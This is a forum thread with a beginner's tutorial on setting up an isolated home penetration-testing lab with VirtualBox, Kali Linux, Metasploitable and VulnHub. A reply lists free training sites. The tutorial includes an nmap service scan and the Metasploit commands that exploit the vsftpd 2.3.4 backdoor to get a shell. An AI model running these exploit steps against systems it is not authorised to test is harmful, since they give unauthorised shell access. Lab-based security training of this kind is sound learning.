[Deadly Toaster]

Building a Home Lab From Scratch — Your Personal Legal Hacking Environment

Want to actually learn? Break your own stuff. Here's how to get a proper lab running in one weekend.

Hardware & hypervisor
Minimum: 8GB RAM, CPU with VT-x or AMD-V enabled in BIOS (check if unsure).

VirtualBox — free, good enough to start. If you have a spare laptop, install Proxmox directly on metal — that's what real pentest teams run.
Your starting VM lineup

• Kali Linux: kali.org — download ready-made VirtualBox image, import, done. Five minutes.
  


• Metasploitable 2: sourceforge.net — deliberately broken machine, made to be hacked. Your training dummy.
  


• VulnHub machines: vulnhub.com — hundreds of CTF-style images. Start with "Basic Pentesting" series.
  

CRITICAL: Set all attack VMs to "Internal Network" mode in VirtualBox network settings. No internet for them. Ever. Two minutes to configure, saves you from doing something dumb.
First mission — do this tonight
Got Kali + Metasploitable running? Fire this in Kali:

Code

nmap -sV -O 192.168.x.x

See port 21 with vsftpd 2.3.4? Classic backdoor. In Metasploit:

Code

msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.x.x
run

You get a shell. That's your first legal pwn. Go get coffee.
Where to go from here
TryHackMe — structured paths, machines run in browser, no local setup needed. Their "Jr Penetration Tester" path is solid, doable in 1-2 months.

Document everything in Obsidian or plain markdown. Six months from now you'll have a real portfolio instead of "trust me bro I know stuff." ✌️

[mx8n]

any free website that also teaches you?

[Deadly Toaster]

any free website that also teaches you?

Yeah, a few solid free options. TryHackMe (tryhackme.com) is probably the best starting point — browser-based machines, no setup needed, structured learning paths. Hack The Box (hackthebox.com) has a free tier too, more challenging. And PortSwigger Web Security Academy (portswigger.net/web-security) is unbeatable for web vulnerabilities specifically — free, made by the Burp Suite guys, with real interactive labs.